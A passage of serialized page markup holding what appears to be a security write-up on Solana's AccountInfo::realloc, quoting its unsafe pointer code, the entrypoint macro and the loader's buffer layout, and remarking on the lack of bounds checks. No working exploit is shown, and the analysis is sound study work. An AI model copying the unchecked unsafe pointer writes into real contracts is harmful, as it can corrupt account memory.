",{"type":19,"tag":168,"props":11491,"children":11492},{"style":382},[11493],{"type":24,"value":6280},{"type":19,"tag":168,"props":11495,"children":11496},{"style":399},[11497],{"type":24,"value":7259},{"type":19,"tag":168,"props":11499,"children":11500},{"style":382},[11501],{"type":24,"value":7097},{"type":19,"tag":168,"props":11503,"children":11504},{"style":825},[11505],{"type":24,"value":3294},{"type":19,"tag":168,"props":11507,"children":11508},{"style":212},[11509],{"type":24,"value":524},{"type":19,"tag":168,"props":11511,"children":11512},{"style":399},[11513],{"type":24,"value":948},{"type":19,"tag":168,"props":11515,"children":11516},{"style":175},[11517],{"type":24,"value":11347},{"type":19,"tag":168,"props":11519,"children":11520},{"style":212},[11521],{"type":24,"value":500},{"type":19,"tag":168,"props":11523,"children":11524},{"style":192},[11525],{"type":24,"value":1442},{"type":19,"tag":168,"props":11527,"children":11528},{"style":212},[11529],{"type":24,"value":481},{"type":19,"tag":168,"props":11531,"children":11532},{"style":382},[11533],{"type":24,"value":6280},{"type":19,"tag":168,"props":11535,"children":11536},{"style":825},[11537],{"type":24,"value":3294},{"type":19,"tag":168,"props":11539,"children":11540},{"style":212},[11541],{"type":24,"value":481},{"type":19,"tag":168,"props":11543,"children":11544},{"style":382},[11545],{"type":24,"value":6280},{"type":19,"tag":168,"props":11547,"children":11548},{"style":399},[11549],{"type":24,"value":7259},{"type":19,"tag":168,"props":11551,"children":11552},{"style":382},[11553],{"type":24,"value":1142},{"type":19,"tag":168,"props":11555,"children":11556},{"style":825},[11557],{"type":24,"value":3294},{"type":19,"tag":168,"props":11559,"children":11560},{"style":212},[11561],{"type":24,"value":1249},{"type":19,"tag":168,"props":11563,"children":11564},{"class":170,"line":1008},[11565,11569,11573,11577,11581,11585,11589],{"type":19,"tag":168,"props":11566,"children":11567},{"style":399},[11568],{"type":24,"value":5188},{"type":19,"tag":168,"props":11570,"children":11571},{"style":393},[11572],{"type":24,"value":11395},{"type":19,"tag":168,"props":11574,"children":11575},{"style":399},[11576],{"type":24,"value":402},{"type":19,"tag":168,"props":11578,"children":11579},{"style":393},[11580],{"type":24,"value":11404},{"type":19,"tag":168,"props":11582,"children":11583},{"style":382},[11584],{"type":24,"value":6266},{"type":19,"tag":168,"props":11586,"children":11587},{"style":825},[11588],{"type":24,"value":3294},{"type":19,"tag":168,"props":11590,"children":11591},{"style":212},[11592],{"type":24,"value":412},{"type":19,"tag":168,"props":11594,"children":11595},{"class":170,"line":1025},[11596],{"type":19,"tag":168,"props":11597,"children":11598},{"style":212},[11599],{"type":24,"value":761},{"type":19,"tag":168,"props":11601,"children":11602},{"class":170,"line":1042},[11603],{"type":19,"tag":168,"props":11604,"children":11605},{"emptyLinePlaceholder":14},[11606],{"type":24,"value":1093},{"type":19,"tag":168,"props":11608,"children":11609},{"class":170,"line":1055},[11610],{"type":19,"tag":168,"props":11611,"children":11612},{"style":373},[11613],{"type":24,"value":11614}," // zero-init if requested\n",{"type":19,"tag":168,"props":11616,"children":11617},{"class":170,"line":1064},[11618,11622,11627,11632,11636,11641,11645],{"type":19,"tag":168,"props":11619,"children":11620},{"style":419},[11621],{"type":24,"value":9724},{"type":19,"tag":168,"props":11623,"children":11624},{"style":393},[11625],{"type":24,"value":11626}," zero_init",{"type":19,"tag":168,"props":11628,"children":11629},{"style":399},[11630],{"type":24,"value":11631}," &&",{"type":19,"tag":168,"props":11633,"children":11634},{"style":393},[11635],{"type":24,"value":11404},{"type":19,"tag":168,"props":11637,"children":11638},{"style":399},[11639],{"type":24,"value":11640}," >",{"type":19,"tag":168,"props":11642,"children":11643},{"style":393},[11644],{"type":24,"value":11234},{"type":19,"tag":168,"props":11646,"children":11647},{"style":212},[11648],{"type":24,"value":691},{"type":19,"tag":168,"props":11650,"children":11651},{"class":170,"line":1087},[11652,11657],{"type":19,"tag":168,"props":11653,"children":11654},{"style":175},[11655],{"type":24,"value":11656}," sol_memset",{"type":19,"tag":168,"props":11658,"children":11659},{"style":212},[11660],{"type":24,"value":870},{"type":19,"tag":168,"props":11662,"children":11663},{"class":170,"line":1096},[11664,11668,11672,11676,11680,11684,11688,11692,11696,11701,11705],{"type":19,"tag":168,"props":11665,"children":11666},{"style":399},[11667],{"type":24,"value":5121},{"type":19,"tag":168,"props":11669,"children":11670},{"style":382},[11671],{"type":24,"value":1142},{"type":19,"tag":168,"props":11673,"children":11674},{"style":382},[11675],{"type":24,"value":11243},{"type":19,"tag":168,"props":11677,"children":11678},{"style":399},[11679],{"type":24,"value":948},{"type":19,"tag":168,"props":11681,"children":11682},{"style":175},[11683],{"type":24,"value":11320},{"type":19,"tag":168,"props":11685,"children":11686},{"style":212},[11687],{"type":24,"value":11325},{"type":19,"tag":168,"props":11689,"children":11690},{"style":399},[11691],{"type":24,"value":552},{"type":19,"tag":168,"props":11693,"children":11694},{"style":212},[11695],{"type":24,"value":1152},{"type":19,"tag":168,"props":11697,"children":11698},{"style":393},[11699],{"type":24,"value":11700},"orig_len",{"type":19,"tag":168,"props":11702,"children":11703},{"style":399},[11704],{"type":24,"value":442},{"type":19,"tag":168,"props":11706,"children":11707},{"style":212},[11708],{"type":24,"value":11709},"],\n",{"type":19,"tag":168,"props":11711,"children":11712},{"class":170,"line":1105},[11713,11718],{"type":19,"tag":168,"props":11714,"children":11715},{"style":192},[11716],{"type":24,"value":11717}," 0",{"type":19,"tag":168,"props":11719,"children":11720},{"style":212},[11721],{"type":24,"value":915},{"type":19,"tag":168,"props":11723,"children":11724},{"class":170,"line":1174},[11725,11730,11734,11739,11743,11747],{"type":19,"tag":168,"props":11726,"children":11727},{"style":393},[11728],{"type":24,"value":11729}," new_len",{"type":19,"tag":168,"props":11731,"children":11732},{"style":399},[11733],{"type":24,"value":948},{"type":19,"tag":168,"props":11735,"children":11736},{"style":175},[11737],{"type":24,"value":11738},"saturating_sub",{"type":19,"tag":168,"props":11740,"children":11741},{"style":212},[11742],{"type":24,"value":500},{"type":19,"tag":168,"props":11744,"children":11745},{"style":393},[11746],{"type":24,"value":11700},{"type":19,"tag":168,"props":11748,"children":11749},{"style":212},[11750],{"type":24,"value":4172},{"type":19,"tag":168,"props":11752,"children":11753},{"class":170,"line":1182},[11754],{"type":19,"tag":168,"props":11755,"children":11756},{"style":212},[11757],{"type":24,"value":5180},{"type":19,"tag":168,"props":11759,"children":11760},{"class":170,"line":1212},[11761],{"type":19,"tag":168,"props":11762,"children":11763},{"style":212},[11764],{"type":24,"value":761},{"type":19,"tag":168,"props":11766,"children":11767},{"class":170,"line":1220},[11768],{"type":19,"tag":168,"props":11769,"children":11770},{"emptyLinePlaceholder":14},[11771],{"type":24,"value":1093},{"type":19,"tag":168,"props":11773,"children":11774},{"class":170,"line":1252},[11775,11780],{"type":19,"tag":168,"props":11776,"children":11777},{"style":825},[11778],{"type":24,"value":11779}," Ok",{"type":19,"tag":168,"props":11781,"children":11782},{"style":212},[11783],{"type":24,"value":11784},"(())\n",{"type":19,"tag":168,"props":11786,"children":11787},{"class":170,"line":1260},[11788],{"type":19,"tag":168,"props":11789,"children":11790},{"style":212},[11791],{"type":24,"value":1326},{"type":19,"tag":20,"props":11793,"children":11794},{},[11795,11797,11803,11805,11810],{"type":24,"value":11796},"Oh. There's ",{"type":19,"tag":27,"props":11798,"children":11800},{"className":11799},[],[11801],{"type":24,"value":11802},"unsafe",{"type":24,"value":11804},". And no bounds check in sight. ",{"type":19,"tag":293,"props":11806,"children":11807},{},[11808],{"type":24,"value":11809},"And",{"type":24,"value":11811}," pointer math. That doesn't look promising...",{"type":19,"tag":36,"props":11813,"children":11815},{"id":11814},"breaking-down-realloc",[11816,11818],{"type":24,"value":11817},"Breaking down ",{"type":19,"tag":27,"props":11819,"children":11821},{"className":11820},[],[11822],{"type":24,"value":11084},{"type":19,"tag":20,"props":11824,"children":11825},{},[11826,11828,11833],{"type":24,"value":11827},"Let's pick apart this ",{"type":19,"tag":27,"props":11829,"children":11831},{"className":11830},[],[11832],{"type":24,"value":11802},{"type":24,"value":11834}," block, since there's a lot going on here.",{"type":19,"tag":158,"props":11836,"children":11838},{"className":363,"code":11837,"language":362,"meta":7,"style":7},"// First set new length in the serialized data\nlet ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n*ptr = new_len as u64;\n",[11839],{"type":19,"tag":27,"props":11840,"children":11841},{"__ignoreMap":7},[11842,11850,11937],{"type":19,"tag":168,"props":11843,"children":11844},{"class":170,"line":171},[11845],{"type":19,"tag":168,"props":11846,"children":11847},{"style":373},[11848],{"type":24,"value":11849},"// First set new length in the serialized data\n",{"type":19,"tag":168,"props":11851,"children":11852},{"class":170,"line":198},[11853,11857,11861,11865,11869,11873,11877,11881,11885,11889,11893,11897,11901,11905,11909,11913,11917,11921,11925,11929,11933],{"type":19,"tag":168,"props":11854,"children":11855},{"style":382},[11856],{"type":24,"value":9232},{"type":19,"tag":168,"props":11858,"children":11859},{"style":393},[11860],{"type":24,"value":11303},{"type":19,"tag":168,"props":11862,"children":11863},{"style":399},[11864],{"type":24,"value":402},{"type":19,"tag":168,"props":11866,"children":11867},{"style":382},[11868],{"type":24,"value":11243},{"type":19,"tag":168,"props":11870,"children":11871},{"style":399},[11872],{"type":24,"value":948},{"type":19,"tag":168,"props":11874,"children":11875},{"style":175},[11876],{"type":24,"value":11320},{"type":19,"tag":168,"props":11878,"children":11879},{"style":212},[11880],{"type":24,"value":11325},{"type":19,"tag":168,"props":11882,"children":11883},{"style":399},[11884],{"type":24,"value":529},{"type":19,"tag":168,"props":11886,"children":11887},{"style":175},[11888],{"type":24,"value":11334},{"type":19,"tag":168,"props":11890,"children":11891},{"style":212},[11892],{"type":24,"value":11325},{"type":19,"tag":168,"props":11894,"children":11895},{"style":399},[11896],{"type":24,"value":948},{"type":19,"tag":168,"props":11898,"children":11899},{"style":175},[11900],{"type":24,"value":11347},{"type":19,"tag":168,"props":11902,"children":11903},{"style":212},[11904],{"type":24,"value":500},{"type":19,"tag":168,"props":11906,"children":11907},{"style":399},[11908],{"type":24,"value":1757},{"type":19,"tag":168,"props":11910,"children":11911},{"style":192},[11912],{"type":24,"value":1506},{"type":19,"tag":168,"props":11914,"children":11915},{"style":212},[11916],{"type":24,"value":481},{"type":19,"tag":168,"props":11918,"children":11919},{"style":382},[11920],{"type":24,"value":6280},{"type":19,"tag":168,"props":11922,"children":11923},{"style":399},[11924],{"type":24,"value":7259},{"type":19,"tag":168,"props":11926,"children":11927},{"style":382},[11928],{"type":24,"value":1142},{"type":19,"tag":168,"props":11930,"children":11931},{"style":825},[11932],{"type":24,"value":3294},{"type":19,"tag":168,"props":11934,"children":11935},{"style":212},[11936],{"type":24,"value":412},{"type":19,"tag":168,"props":11938,"children":11939},{"class":170,"line":415},[11940,11944,11948,11952,11956,11960,11964],{"type":19,"tag":168,"props":11941,"children":11942},{"style":399},[11943],{"type":24,"value":2002},{"type":19,"tag":168,"props":11945,"children":11946},{"style":393},[11947],{"type":24,"value":11395},{"type":19,"tag":168,"props":11949,"children":11950},{"style":399},[11951],{"type":24,"value":402},{"type":19,"tag":168,"props":11953,"children":11954},{"style":393},[11955],{"type":24,"value":11404},{"type":19,"tag":168,"props":11957,"children":11958},{"style":382},[11959],{"type":24,"value":6266},{"type":19,"tag":168,"props":11961,"children":11962},{"style":825},[11963],{"type":24,"value":3294},{"type":19,"tag":168,"props":11965,"children":11966},{"style":212},[11967],{"type":24,"value":412},{"type":19,"tag":20,"props":11969,"children":11970},{},[11971,11976],{"type":19,"tag":27,"props":11972,"children":11974},{"className":11973},[],[11975],{"type":24,"value":11320},{"type":24,"value":11977}," returns a mutable reference to the underlying buffer holding the data of the account. Normally in the course of contract execution, this comes from the serialized buffer passed into the contract by the BPF loader. So before we can understand the details here, let's take a quick detour...",{"type":19,"tag":7050,"props":11979,"children":11981},{"id":11980},"bpf-loader-abi",[11982],{"type":24,"value":11983},"BPF Loader ABI",{"type":19,"tag":20,"props":11985,"children":11986},{},[11987,11989,11994,11996,12009],{"type":24,"value":11988},"Solana smart contracts have one job: interact with on-chain accounts. So what's the interface between the contract and the rest of the chain? To answer that, we're going to take a look at ",{"type":19,"tag":27,"props":11990,"children":11992},{"className":11991},[],[11993],{"type":24,"value":11099},{"type":24,"value":11995},"'s entrypoint code - the code that's added when you use the ",{"type":19,"tag":269,"props":11997,"children":12000},{"href":11998,"rel":11999},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#116-131",[273],[12001,12007],{"type":19,"tag":27,"props":12002,"children":12004},{"className":12003},[],[12005],{"type":24,"value":12006},"entrypoint!",{"type":24,"value":12008}," macro",{"type":24,"value":1922},{"type":19,"tag":158,"props":12011,"children":12013},{"className":363,"code":12012,"language":362,"meta":7,"style":7},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64 {\n let (program_id, accounts, instruction_data) =\n unsafe { $crate::entrypoint::deserialize(input) };\n match $process_instruction(&program_id, &accounts, &instruction_data) {\n Ok(()) => $crate::entrypoint::SUCCESS,\n Err(error) => error.into(),\n }\n}\n",[12014],{"type":19,"tag":27,"props":12015,"children":12016},{"__ignoreMap":7},[12017,12025,12097,12140,12192,12251,12294,12337,12344],{"type":19,"tag":168,"props":12018,"children":12019},{"class":170,"line":171},[12020],{"type":19,"tag":168,"props":12021,"children":12022},{"style":212},[12023],{"type":24,"value":12024},"#[no_mangle]\n",{"type":19,"tag":168,"props":12026,"children":12027},{"class":170,"line":198},[12028,12032,12037,12042,12047,12051,12056,12060,12064,12068,12072,12076,12081,12085,12089,12093],{"type":19,"tag":168,"props":12029,"children":12030},{"style":382},[12031],{"type":24,"value":11136},{"type":19,"tag":168,"props":12033,"children":12034},{"style":382},[12035],{"type":24,"value":12036}," unsafe",{"type":19,"tag":168,"props":12038,"children":12039},{"style":382},[12040],{"type":24,"value":12041}," extern",{"type":19,"tag":168,"props":12043,"children":12044},{"style":181},[12045],{"type":24,"value":12046}," \"C\"",{"type":19,"tag":168,"props":12048,"children":12049},{"style":382},[12050],{"type":24,"value":11141},{"type":19,"tag":168,"props":12052,"children":12053},{"style":175},[12054],{"type":24,"value":12055}," entrypoint",{"type":19,"tag":168,"props":12057,"children":12058},{"style":212},[12059],{"type":24,"value":500},{"type":19,"tag":168,"props":12061,"children":12062},{"style":393},[12063],{"type":24,"value":5804},{"type":19,"tag":168,"props":12065,"children":12066},{"style":399},[12067],{"type":24,"value":1922},{"type":19,"tag":168,"props":12069,"children":12070},{"style":399},[12071],{"type":24,"value":7259},{"type":19,"tag":168,"props":12073,"children":12074},{"style":382},[12075],{"type":24,"value":1142},{"type":19,"tag":168,"props":12077,"children":12078},{"style":825},[12079],{"type":24,"value":12080}," u8",{"type":19,"tag":168,"props":12082,"children":12083},{"style":212},[12084],{"type":24,"value":481},{"type":19,"tag":168,"props":12086,"children":12087},{"style":399},[12088],{"type":24,"value":11203},{"type":19,"tag":168,"props":12090,"children":12091},{"style":825},[12092],{"type":24,"value":3294},{"type":19,"tag":168,"props":12094,"children":12095},{"style":212},[12096],{"type":24,"value":691},{"type":19,"tag":168,"props":12098,"children":12099},{"class":170,"line":415},[12100,12104,12108,12113,12117,12122,12126,12131,12135],{"type":19,"tag":168,"props":12101,"children":12102},{"style":382},[12103],{"type":24,"value":385},{"type":19,"tag":168,"props":12105,"children":12106},{"style":212},[12107],{"type":24,"value":461},{"type":19,"tag":168,"props":12109,"children":12110},{"style":393},[12111],{"type":24,"value":12112},"program_id",{"type":19,"tag":168,"props":12114,"children":12115},{"style":212},[12116],{"type":24,"value":471},{"type":19,"tag":168,"props":12118,"children":12119},{"style":393},[12120],{"type":24,"value":12121},"accounts",{"type":19,"tag":168,"props":12123,"children":12124},{"style":212},[12125],{"type":24,"value":471},{"type":19,"tag":168,"props":12127,"children":12128},{"style":393},[12129],{"type":24,"value":12130},"instruction_data",{"type":19,"tag":168,"props":12132,"children":12133},{"style":212},[12134],{"type":24,"value":481},{"type":19,"tag":168,"props":12136,"children":12137},{"style":399},[12138],{"type":24,"value":12139},"=\n",{"type":19,"tag":168,"props":12141,"children":12142},{"class":170,"line":450},[12143,12148,12152,12156,12161,12165,12170,12174,12179,12183,12187],{"type":19,"tag":168,"props":12144,"children":12145},{"style":382},[12146],{"type":24,"value":12147}," unsafe",{"type":19,"tag":168,"props":12149,"children":12150},{"style":212},[12151],{"type":24,"value":7027},{"type":19,"tag":168,"props":12153,"children":12154},{"style":399},[12155],{"type":24,"value":7731},{"type":19,"tag":168,"props":12157,"children":12158},{"style":382},[12159],{"type":24,"value":12160},"crate",{"type":19,"tag":168,"props":12162,"children":12163},{"style":399},[12164],{"type":24,"value":888},{"type":19,"tag":168,"props":12166,"children":12167},{"style":212},[12168],{"type":24,"value":12169},"entrypoint",{"type":19,"tag":168,"props":12171,"children":12172},{"style":399},[12173],{"type":24,"value":888},{"type":19,"tag":168,"props":12175,"children":12176},{"style":175},[12177],{"type":24,"value":12178},"deserialize",{"type":19,"tag":168,"props":12180,"children":12181},{"style":212},[12182],{"type":24,"value":500},{"type":19,"tag":168,"props":12184,"children":12185},{"style":393},[12186],{"type":24,"value":5804},{"type":19,"tag":168,"props":12188,"children":12189},{"style":212},[12190],{"type":24,"value":12191},") };\n",{"type":19,"tag":168,"props":12193,"children":12194},{"class":170,"line":560},[12195,12200,12205,12210,12214,12218,12222,12226,12230,12234,12238,12242,12246],{"type":19,"tag":168,"props":12196,"children":12197},{"style":419},[12198],{"type":24,"value":12199}," match",{"type":19,"tag":168,"props":12201,"children":12202},{"style":399},[12203],{"type":24,"value":12204}," $",{"type":19,"tag":168,"props":12206,"children":12207},{"style":393},[12208],{"type":24,"value":12209},"process_instruction",{"type":19,"tag":168,"props":12211,"children":12212},{"style":212},[12213],{"type":24,"value":500},{"type":19,"tag":168,"props":12215,"children":12216},{"style":399},[12217],{"type":24,"value":505},{"type":19,"tag":168,"props":12219,"children":12220},{"style":393},[12221],{"type":24,"value":12112},{"type":19,"tag":168,"props":12223,"children":12224},{"style":212},[12225],{"type":24,"value":471},{"type":19,"tag":168,"props":12227,"children":12228},{"style":399},[12229],{"type":24,"value":505},{"type":19,"tag":168,"props":12231,"children":12232},{"style":393},[12233],{"type":24,"value":12121},{"type":19,"tag":168,"props":12235,"children":12236},{"style":212},[12237],{"type":24,"value":471},{"type":19,"tag":168,"props":12239,"children":12240},{"style":399},[12241],{"type":24,"value":505},{"type":19,"tag":168,"props":12243,"children":12244},{"style":393},[12245],{"type":24,"value":12130},{"type":19,"tag":168,"props":12247,"children":12248},{"style":212},[12249],{"type":24,"value":12250},") {\n",{"type":19,"tag":168,"props":12252,"children":12253},{"class":170,"line":666},[12254,12259,12264,12269,12273,12277,12281,12285,12289],{"type":19,"tag":168,"props":12255,"children":12256},{"style":825},[12257],{"type":24,"value":12258}," Ok",{"type":19,"tag":168,"props":12260,"children":12261},{"style":212},[12262],{"type":24,"value":12263},"(()) ",{"type":19,"tag":168,"props":12265,"children":12266},{"style":399},[12267],{"type":24,"value":12268},"=>",{"type":19,"tag":168,"props":12270,"children":12271},{"style":399},[12272],{"type":24,"value":12204},{"type":19,"tag":168,"props":12274,"children":12275},{"style":382},[12276],{"type":24,"value":12160},{"type":19,"tag":168,"props":12278,"children":12279},{"style":399},[12280],{"type":24,"value":888},{"type":19,"tag":168,"props":12282,"children":12283},{"style":212},[12284],{"type":24,"value":12169},{"type":19,"tag":168,"props":12286,"children":12287},{"style":399},[12288],{"type":24,"value":888},{"type":19,"tag":168,"props":12290,"children":12291},{"style":212},[12292],{"type":24,"value":12293},"SUCCESS,\n",{"type":19,"tag":168,"props":12295,"children":12296},{"class":170,"line":694},[12297,12302,12306,12311,12315,12319,12324,12328,12333],{"type":19,"tag":168,"props":12298,"children":12299},{"style":825},[12300],{"type":24,"value":12301}," Err",{"type":19,"tag":168,"props":12303,"children":12304},{"style":212},[12305],{"type":24,"value":500},{"type":19,"tag":168,"props":12307,"children":12308},{"style":393},[12309],{"type":24,"value":12310},"error",{"type":19,"tag":168,"props":12312,"children":12313},{"style":212},[12314],{"type":24,"value":481},{"type":19,"tag":168,"props":12316,"children":12317},{"style":399},[12318],{"type":24,"value":12268},{"type":19,"tag":168,"props":12320,"children":12321},{"style":393},[12322],{"type":24,"value":12323}," error",{"type":19,"tag":168,"props":12325,"children":12326},{"style":399},[12327],{"type":24,"value":948},{"type":19,"tag":168,"props":12329,"children":12330},{"style":175},[12331],{"type":24,"value":12332},"into",{"type":19,"tag":168,"props":12334,"children":12335},{"style":212},[12336],{"type":24,"value":898},{"type":19,"tag":168,"props":12338,"children":12339},{"class":170,"line":707},[12340],{"type":19,"tag":168,"props":12341,"children":12342},{"style":212},[12343],{"type":24,"value":761},{"type":19,"tag":168,"props":12345,"children":12346},{"class":170,"line":725},[12347],{"type":19,"tag":168,"props":12348,"children":12349},{"style":212},[12350],{"type":24,"value":1326},{"type":19,"tag":20,"props":12352,"children":12353},{},[12354,12356,12361,12363,12369,12371,12378,12380,12386,12388,12395],{"type":24,"value":12355},"What we see here is the contract's real entrypoint - it takes a ",{"type":19,"tag":27,"props":12357,"children":12359},{"className":12358},[],[12360],{"type":24,"value":828},{"type":24,"value":12362}," buffer in from the loader, and calls ",{"type":19,"tag":27,"props":12364,"children":12366},{"className":12365},[],[12367],{"type":24,"value":12368},"solana_program::entrypoint::deserialize",{"type":24,"value":12370},", which then ",{"type":19,"tag":269,"props":12372,"children":12375},{"href":12373,"rel":12374},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#281-337",[273],[12376],{"type":24,"value":12377},"parses out",{"type":24,"value":12379}," all the ",{"type":19,"tag":27,"props":12381,"children":12383},{"className":12382},[],[12384],{"type":24,"value":12385},"AccountInfo",{"type":24,"value":12387},"s, instruction data, and the current running program ID. We can see how the data buffer is ",{"type":19,"tag":269,"props":12389,"children":12392},{"href":12390,"rel":12391},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316",[273],[12393],{"type":24,"value":12394},"laid out",{"type":24,"value":1922},{"type":19,"tag":158,"props":12397,"children":12399},{"className":363,"code":12398,"language":362,"meta":7,"style":7},"#[allow(clippy::cast_ptr_alignment)]\nlet data_len = *(input.add(offset) as *const u64) as usize;\noffset += size_of::\u003Cu64>();\n\nlet data = Rc::new(RefCell::new({\n from_raw_parts_mut(input.add(offset), data_len)\n}));\noffset += data_len + MAX_PERMITTED_DATA_INCREASE;\noffset += (offset as *const u8).align_offset(BPF_ALIGN_OF_U128); // padding\n",[12400],{"type":19,"tag":27,"props":12401,"children":12402},{"__ignoreMap":7},[12403,12420,12500,12533,12540,12588,12633,12641,12665],{"type":19,"tag":168,"props":12404,"children":12405},{"class":170,"line":171},[12406,12411,12415],{"type":19,"tag":168,"props":12407,"children":12408},{"style":212},[12409],{"type":24,"value":12410},"#[allow(clippy",{"type":19,"tag":168,"props":12412,"children":12413},{"style":399},[12414],{"type":24,"value":888},{"type":19,"tag":168,"props":12416,"children":12417},{"style":212},[12418],{"type":24,"value":12419},"cast_ptr_alignment)]\n",{"type":19,"tag":168,"props":12421,"children":12422},{"class":170,"line":198},[12423,12427,12432,12436,12440,12444,12448,12452,12456,12460,12464,12468,12472,12476,12480,12484,12488,12492,12496],{"type":19,"tag":168,"props":12424,"children":12425},{"style":382},[12426],{"type":24,"value":9232},{"type":19,"tag":168,"props":12428,"children":12429},{"style":393},[12430],{"type":24,"value":12431}," data_len",{"type":19,"tag":168,"props":12433,"children":12434},{"style":399},[12435],{"type":24,"value":402},{"type":19,"tag":168,"props":12437,"children":12438},{"style":399},[12439],{"type":24,"value":7259},{"type":19,"tag":168,"props":12441,"children":12442},{"style":212},[12443],{"type":24,"value":500},{"type":19,"tag":168,"props":12445,"children":12446},{"style":393},[12447],{"type":24,"value":5804},{"type":19,"tag":168,"props":12449,"children":12450},{"style":399},[12451],{"type":24,"value":948},{"type":19,"tag":168,"props":12453,"children":12454},{"style":175},[12455],{"type":24,"value":7080},{"type":19,"tag":168,"props":12457,"children":12458},{"style":212},[12459],{"type":24,"value":500},{"type":19,"tag":168,"props":12461,"children":12462},{"style":393},[12463],{"type":24,"value":11347},{"type":19,"tag":168,"props":12465,"children":12466},{"style":212},[12467],{"type":24,"value":481},{"type":19,"tag":168,"props":12469,"children":12470},{"style":382},[12471],{"type":24,"value":6280},{"type":19,"tag":168,"props":12473,"children":12474},{"style":399},[12475],{"type":24,"value":7259},{"type":19,"tag":168,"props":12477,"children":12478},{"style":382},[12479],{"type":24,"value":7097},{"type":19,"tag":168,"props":12481,"children":12482},{"style":825},[12483],{"type":24,"value":3294},{"type":19,"tag":168,"props":12485,"children":12486},{"style":212},[12487],{"type":24,"value":481},{"type":19,"tag":168,"props":12489,"children":12490},{"style":382},[12491],{"type":24,"value":6280},{"type":19,"tag":168,"props":12493,"children":12494},{"style":825},[12495],{"type":24,"value":11177},{"type":19,"tag":168,"props":12497,"children":12498},{"style":212},[12499],{"type":24,"value":412},{"type":19,"tag":168,"props":12501,"children":12502},{"class":170,"line":415},[12503,12507,12512,12517,12521,12525,12529],{"type":19,"tag":168,"props":12504,"children":12505},{"style":393},[12506],{"type":24,"value":11347},{"type":19,"tag":168,"props":12508,"children":12509},{"style":399},[12510],{"type":24,"value":12511}," +=",{"type":19,"tag":168,"props":12513,"children":12514},{"style":175},[12515],{"type":24,"value":12516}," size_of",{"type":19,"tag":168,"props":12518,"children":12519},{"style":399},[12520],{"type":24,"value":888},{"type":19,"tag":168,"props":12522,"children":12523},{"style":212},[12524],{"type":24,"value":3240},{"type":19,"tag":168,"props":12526,"children":12527},{"style":825},[12528],{"type":24,"value":5479},{"type":19,"tag":168,"props":12530,"children":12531},{"style":212},[12532],{"type":24,"value":5889},{"type":19,"tag":168,"props":12534,"children":12535},{"class":170,"line":450},[12536],{"type":19,"tag":168,"props":12537,"children":12538},{"emptyLinePlaceholder":14},[12539],{"type":24,"value":1093},{"type":19,"tag":168,"props":12541,"children":12542},{"class":170,"line":560},[12543,12547,12552,12556,12561,12565,12570,12575,12579,12583],{"type":19,"tag":168,"props":12544,"children":12545},{"style":382},[12546],{"type":24,"value":9232},{"type":19,"tag":168,"props":12548,"children":12549},{"style":393},[12550],{"type":24,"value":12551}," data",{"type":19,"tag":168,"props":12553,"children":12554},{"style":399},[12555],{"type":24,"value":402},{"type":19,"tag":168,"props":12557,"children":12558},{"style":825},[12559],{"type":24,"value":12560}," Rc",{"type":19,"tag":168,"props":12562,"children":12563},{"style":399},[12564],{"type":24,"value":888},{"type":19,"tag":168,"props":12566,"children":12567},{"style":175},[12568],{"type":24,"value":12569},"new",{"type":19,"tag":168,"props":12571,"children":12572},{"style":212},[12573],{"type":24,"value":12574},"(RefCell",{"type":19,"tag":168,"props":12576,"children":12577},{"style":399},[12578],{"type":24,"value":888},{"type":19,"tag":168,"props":12580,"children":12581},{"style":175},[12582],{"type":24,"value":12569},{"type":19,"tag":168,"props":12584,"children":12585},{"style":212},[12586],{"type":24,"value":12587},"({\n",{"type":19,"tag":168,"props":12589,"children":12590},{"class":170,"line":666},[12591,12596,12600,12604,12608,12612,12616,12620,12625,12629],{"type":19,"tag":168,"props":12592,"children":12593},{"style":175},[12594],{"type":24,"value":12595}," from_raw_parts_mut",{"type":19,"tag":168,"props":12597,"children":12598},{"style":212},[12599],{"type":24,"value":500},{"type":19,"tag":168,"props":12601,"children":12602},{"style":393},[12603],{"type":24,"value":5804},{"type":19,"tag":168,"props":12605,"children":12606},{"style":399},[12607],{"type":24,"value":948},{"type":19,"tag":168,"props":12609,"children":12610},{"style":175},[12611],{"type":24,"value":7080},{"type":19,"tag":168,"props":12613,"children":12614},{"style":212},[12615],{"type":24,"value":500},{"type":19,"tag":168,"props":12617,"children":12618},{"style":393},[12619],{"type":24,"value":11347},{"type":19,"tag":168,"props":12621,"children":12622},{"style":212},[12623],{"type":24,"value":12624},"), ",{"type":19,"tag":168,"props":12626,"children":12627},{"style":393},[12628],{"type":24,"value":11252},{"type":19,"tag":168,"props":12630,"children":12631},{"style":212},[12632],{"type":24,"value":557},{"type":19,"tag":168,"props":12634,"children":12635},{"class":170,"line":694},[12636],{"type":19,"tag":168,"props":12637,"children":12638},{"style":212},[12639],{"type":24,"value":12640},"}));\n",{"type":19,"tag":168,"props":12642,"children":12643},{"class":170,"line":707},[12644,12648,12652,12656,12660],{"type":19,"tag":168,"props":12645,"children":12646},{"style":393},[12647],{"type":24,"value":11347},{"type":19,"tag":168,"props":12649,"children":12650},{"style":399},[12651],{"type":24,"value":12511},{"type":19,"tag":168,"props":12653,"children":12654},{"style":393},[12655],{"type":24,"value":12431},{"type":19,"tag":168,"props":12657,"children":12658},{"style":399},[12659],{"type":24,"value":6343},{"type":19,"tag":168,"props":12661,"children":12662},{"style":212},[12663],{"type":24,"value":12664}," 